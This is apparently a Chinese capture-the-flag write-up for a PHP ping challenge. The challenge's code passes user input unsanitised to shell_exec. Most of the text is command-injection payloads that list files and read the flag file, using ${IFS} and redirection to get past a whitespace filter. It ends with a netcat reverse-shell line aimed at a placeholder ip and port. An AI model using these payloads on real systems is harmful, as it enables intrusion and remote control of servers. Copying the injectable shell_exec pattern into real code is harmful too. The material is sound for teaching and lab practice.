题目地址:http://183.67.184.159:8888/ctf/shellcodeexec/index.php
题目页面如下:
关键代码如下:
<?php
if(!isset($_POST["iipp"]))
{
echo '';
}
else
{
$iipp =preg_replace("/\s/","",$iipp);
$result=shell_exec('ping -c 4 '.$iipp);
$result=str_replace("\n","<br>",$result);
echo $result;
}?>
这里preg_replace
过滤了换行符,空格,所以空格
,%0a
,%0d
不可以使用。
一般做法是先列出目录(payload:):
iipp=2;find&submit=Ping(find命令直接把当前目录下所有文件及子目录文件列出来)
iipp=2;ls&submit=Ping
iipp=|ls&submit=Ping
iipp=||ls&submit=Ping
由于过滤了空格,换行,所以绕过过滤即可读取flag(payload:)。
iipp=2|cat<key_31321321421543.php&submit=Ping
iipp=2|strings<key_31321321421543.php&submit=Ping
...(各种读文件命令)
iipp=2||cat${IFS}key_31321321421543.php&submit=Ping
iipp=1|cat$IFS$9key_31321321421543.php&submit=Ping
这里还可以反弹shell进行读取文件或者进行其他操作(payload:)。
nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
...